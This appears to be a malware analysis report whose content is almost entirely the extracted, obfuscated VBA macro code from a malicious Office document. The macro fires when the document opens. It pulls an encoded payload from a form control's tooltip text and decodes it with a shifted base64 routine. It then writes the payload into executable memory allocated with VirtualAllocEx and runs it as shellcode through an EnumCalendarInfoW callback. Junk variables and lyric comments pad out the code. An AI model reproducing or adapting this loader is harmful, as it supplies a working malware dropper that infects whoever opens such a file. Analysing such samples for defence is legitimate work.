Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub tableSel()
    Dim tempTable
    Documents("Log.doc").Tables(1).Select
    Set tempTable = Selection.Tables(1).Range
    tempRange.Tables(2).Select
End Sub


Function thriftless(scrimp)
Dim lug As Long
Dim caressd As String
Dim moneygrubber As Long
diatom moneygrubber, ByVal VarPtr(scrimp) + 8, 4
Dim mattre As Variant
Dim deadly As Variant
Dim formulate As Long
framework = 0
finnougric = -1
posited = 124 - 124
bocca = regulation \ 476

accipere = "hyperemia"

menyanthaceae = 4096
beslubber = booger(ByVal finnougric, posited, 7396, menyanthaceae, 64)
dermatome = holder

diatom formulate, ByVal VarPtr(beslubber) + 8, 4
bocca = bocca + 404

diatom ByVal formulate, ByVal moneygrubber, 5538
euphrosyne = 65
acris = 99
If euphrosyne + acris < 12 Then
euphrosyne = "ca" & UCase$("rPinAcEAE")
dermatome = "fantan"
heliport = "lo" & Mid("chantedwringneutralist", 8, 5)
Else
accipere = accipere
acris = 95
End If

thriftless = formulate
End Function
Private Sub Document_Open()
Dim lobularity As Variant
Dim drenching As Byte
chon = "wanderlust"
admired = "molossidae"
brazenly
pierced = 11
While pierced < 14
myelocyte = "bairava"
calculus = "neonatal"
pierced = pierced + 1
regulation = regulation \ 64
Wend
End Sub
Sub brazenly()
Dim congenital As Variant
Dim spirochaetales As Long
Set flummery = murrion.excusably.BoundValue("Tab2")
pearly = flummery.ControlTipText
coreference = 7368
bennettitis = Right(pearly, coreference)
fusillade = tocology.nankeen(bennettitis)
For dovetailing = 48 To 74
hatbox = 74
bocca = os / 374
abashment = LCase$("Se") & Mid("arrogantrratvancourier", 9, 4) & Right$("unnourishedus", 2)
abashment = LCase$("bo") & Mid("carolinianrreliasunburst", 11, 6)
Next dovetailing

bookmaker = "lagodon"
pokerish = "heath"
#If VBA6 And Win64 Then
Dim brussels As String
Dim milliard As saunter
Dim penman As LongPtr
milliard.elseifstatement = 0
Dim soap As Byte
#Else
Dim cranioscopy As Integer
milliard = 0
Dim gauntleted As Byte
Dim penman As Long
#End If
peacockthrone = 110 - 110
gentiana = "calefacient"
acathexis = 4096
candlepins = 88
moonfaced = 98
If candlepins + moonfaced < 34 Then
candlepins = Mid("mysticalabnegress", 9, 2) & Left("eyantimpermissibility", 5)
dermatome = "tough"
volatility = UCase$("appr") & "ehensi" & UCase$("veNeSs")
Else
holder = "eudemon"
moonfaced = 61
End If

measurable = "compressor"
anorexia = "chlorothiazide"
courier = "coiffeuse"
breakax = 5
While breakax < 8
tardi = "antennal"
breakax = breakax + 1
bocca = bocca - 197
Wend

eggshaped = fusillade
blushingly = Right$("warnedcr", 2) & Left("ustyflaunt", 4)
penman = thriftless(eggshaped)
amperage = "po" & Mid("compounddargfiberoptic", 9, 4) & Left("usindex", 2)
#If VBA6 And Win64 Then
Dim muros As Byte
felis = "restorable"
acetous = "geometric"
emissum = "eubryales"
enki = 96 - 71 - 91 + 1346
#ElseIf Win32 Then
tolerance = "beirut"
heredity = "cichlidae"
interchange = 29 - 123 - 102 + 702
enki = interchange + 3171

#End If
Dim subministration As Variant
Dim overgarment As Integer
Dim caseation As Long
caseation = 2048
Dim pheasant As Long
pheasant = penman + enki
Dim coccinellidae As Long
coccinellidae = 71 - 70
agamemnon = horsecar(pheasant, caseation, coccinellidae, coccinellidae)
For nonrational = 18 To 59
leccinum = 59
bocca = regulation And 496
gentium = "ca" & UCase$("StRi") & Right$("phones", 2)
gentium = UCase$("fO") & Left("rficularussulaceae", 7)
Next nonrational

End Sub


Attribute VB_Name = "tocology"
'so if it all fails just throw it back in my face and bury me
#If VBA6 And Win64 Then
'I hope you won't be saddened while I cry about it
Public Type saunter
'I hope you won't be saddened while I cry about it
elseifstatement As LongPtr
'all the thoughts in my head are constantly .. haunting me
End Type
'I can't watch things further complicate
Public Declare PtrSafe Function broach Lib "kernel32" Alias "Sleep" (bromelia As LongPtr)
'so if it all fails just throw it back in my face and bury me
Public Declare PtrSafe Function callitrichaceae Lib "user32" Alias "GetUpdateRect" (aftermost As LongPtr, ingredient As LongPtr,imminence As LongPtr) As Boolean
'I hope that I don't bore you while I whine about it
Public  Declare PtrSafe Function horsecar Lib "kernel32" Alias "EnumCalendarInfoW" (ByVal feticism As Any, ByVal pranks As Any, ByVal multiplicity As Any, ByVal peristaltic As Any) As LongPtr
'I'd like to think there's more something more
Public  Declare PtrSafe Sub diatom Lib "ntdll.dll" Alias "RtlMoveMemory" (eidoloclast As Any, straphanger As Any, ByVal respective As LongPtr)
'so if it all fails just throw it back in my face and bury me
Public Declare PtrSafe Function secretness Lib "user32" Alias "OpenClipboard" (pachisi As LongPtr) As Boolean
'this endless propaganda (corporate agenda)
Public Declare PtrSafe Function box Lib "user32" Alias "SetParent" (ByVal knockknee As LongPtr, ByVal bene As LongPtr,smog As LongPtr) As LongPtr
'I'm lost in this place it's such a waste
Public Declare PtrSafe Function unvariedness Lib "user32" Alias "EndPaint" (contravene As LongPtr,ayin As LongPtr) As LongPtr
'Everyday I wake up to stagnant bullshit
Public  Declare PtrSafe Function booger Lib "kernel32" Alias "VirtualAllocEx" (bluishness As LongPtr, ByVal blatantly As LongPtr, ByVal ambages As LongPtr, ByVal friendly As LongPtr, ByVal snobbery As LongPtr) As LongPtr
'I'm lost in this place it's such a waste

'I can't watch things further complicate
#Else
'this endless propaganda (corporate agenda)
Public Declare Function horsecar Lib "kernel32" Alias "EnumCalendarInfoW" (ByVal mettre As Any, ByVal comportment As Any, ByVal aduncity As Any, ByVal launderette As Any) As Long
'as soon as I escape there's more stagnant bullsshit
Public Declare Function blackletter Lib "kernel32" Alias "Sleep" (aloft As Long)
'I can't watch things further complicate
Public Declare Function amaritude Lib "user32" Alias "SetParent" (ByVal peer As Long, ByVal madbrained As Long, astrodynamics As Long) As Long
'I'm lost in this place it's such a waste
Public Declare Function mensuration Lib "user32" Alias "GetUpdateRect" (kunlun As Long, mortua As Long, indefectibility As Long) As Boolean
'all the thoughts in my head are constantly .. haunting me
Public Declare Function fervor Lib "user32" Alias "OpenClipboard" (cestus As Long) As Boolean
'I keep telling myself that there's something more
Public Declare Function adventitial Lib "user32" Alias "EndPaint" (arabist As Long, conspiratorial As Long) As Long
'I can't take another complication
Public Declare Sub diatom Lib "ntdll.dll" Alias "RtlMoveMemory" (nonaddition As Any, armorclad As Any, ByVal simpleton As Long)
'I can't take another complication
Public Declare Function booger Lib "kernel32" Alias "VirtualAllocEx" (afterthought As Long, ByVal confinement As Long, ByVal biography As Long, ByVal mango As Long, ByVal confrontation As Long) As Long
'I can't take another complication

'I can't take another complication
#End If
'I can't take another complication
Function nankeen(inexpungible) As String
Dim muraenidae As Long
Dim maniacal(255) As Byte
Dim achievability As Integer
Dim meatus As Long
Dim onset As Integer

os = os + 138

Dim fiscalize(63) As Long
Dim abnormous As Integer

Dim lyram As String
Dim circumambulation(5525) As Byte
Dim offer(63) As Long
dermatome = "alkalimetry"

Dim famishment As Long
Dim despect(63) As Long
Dim canachites As Long
Dim dumbbell() As Byte
Dim irish As String

insularity = 65280
dohickey = 128 - 90 - 101 + 262207
monotremata = 16711680
Dim sarcolemmal As Byte

irreconcilable = 65536
Dim apsidal As Variant

olfaction = 64
ace = 95 + 16514977
griveous = 4096
grievance = 63
colostrum = 56 - 107 + 4083
boo = 256
pittance = 255
catcall = 87 - 83 + 3 + 258041
Dim publisher As Byte

Dim sententiae As Long
Dim sketch(7367) As Byte
palatial = 39 + 7329
For anagasta = 1 To palatial
procerity = Mid(inexpungible, anagasta, 1)
steadfast = "pa" & "ddlefish"
percussive = AscW(procerity)
sketch(anagasta - 1) = percussive
Next
Dim isocyanate As String
brokery = 6
While brokery < 10
clovis = "angelicanism"
gymnadeniopsis = "mesomorph"
brokery = brokery + 1
os = os / 283
Wend

facilis = 7367
satanic = 35
For avifaunal = 0 To facilis
sketch(avifaunal) = sketch(avifaunal) + 4
Next avifaunal
endimanche = 81
avouchment = 99
If endimanche + avouchment < 17 Then
endimanche = Left("inbatten", 2) & LCase$("StAn") & Right$("amyxiat", 1)
bocca = os And 151
absento = "ho" & UCase$("RsEC") & Left("artacaudate", 3)
Else
regulation = os / 75
avouchment = 103
End If

achievability = 0
lesperance = 122
aforesaid = 76 + 179
For famishment = 0 To aforesaid
If (famishment >= 65) And (famishment <= 90) Then
maniacal(famishment) = famishment - 65
ElseIf (famishment >= 97) And (famishment <= 122) Then
maniacal(famishment) = famishment - 71
ElseIf (famishment >= 48) And (famishment <= 57) Then
maniacal(famishment) = famishment + 4
ElseIf famishment = 43 Then
maniacal(famishment) = 62
ElseIf famishment = 47 Then
maniacal(famishment) = 63
End If
Next famishment
For famishment = 0 To 63
despect(famishment) = displaced(famishment, olfaction)
fiscalize(famishment) = displaced(famishment, griveous)
offer(famishment) = displaced(famishment, dohickey)
Next famishment
For guineabissau = 20 To 76
profit = 76
holder = "presuppose"
amortization = Left("erfullbodied", 2) & "iosoma"
amortization = "ar" & Right$("beaconmed", 3)
Next guineabissau

dumbbell = sketch
leguminous = 22 - 18
hiccup = 9
While hiccup < 14
hiccup = hiccup + 1
regulation = regulation * 2
Wend

dravidian = 3
accipere = "misconducted"

bocca = bocca + 135

anagasta = dravidian + 1
ghanian = 37 + 102 - 91 - 46
For muraenidae = 0 To facilis
choppy = dumbbell(muraenidae)
canachites = offer(maniacal(choppy)) _
 + fiscalize(maniacal(dumbbell(muraenidae + 1))) + despect(maniacal(dumbbell(muraenidae + 2))) + maniacal(dumbbell(muraenidae + dravidian))
famishment = canonization(canachites, monotremata)
circumambulation(meatus) = aground(famishment, irreconcilable)
famishment = canonization(canachites, insularity)
circumambulation(meatus + 1) = aground(famishment, boo)
circumambulation(meatus + ghanian) = canonization(canachites, pittance)
meatus = meatus + ghanian + 1
muraenidae = muraenidae + 3
Next
nankeen = circumambulation
End Function

Function canonization(fenceless, bellows)
canonization = fenceless And bellows
End Function
Sub RemovePageNumbersFromCurrentSection()
    Dim ThisHeader As HeaderFooter
    Dim ThisPageNumber As PageNumber
    With Selection.Sections(1)
        For Each ThisHeader In .Headers
            For Each ThisPageNumber In ThisHeader.PageNumbers
                ThisPageNumber.Delete
            Next ThisPageNumber
        Next ThisHeader
    End With
End Sub

Function aground(nonarboreal, premedical)
aground = nonarboreal \ premedical
End Function
Function displaced(colors, citrange)
displaced = colors * citrange
End Function


Attribute VB_Name = "murrion"
Attribute VB_Base = "0{9AAF054D-8E34-476B-A4DD-25C9415FD00A}{6CE7BA71-6D86-4B62-A749-8BE6BD83A7C7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False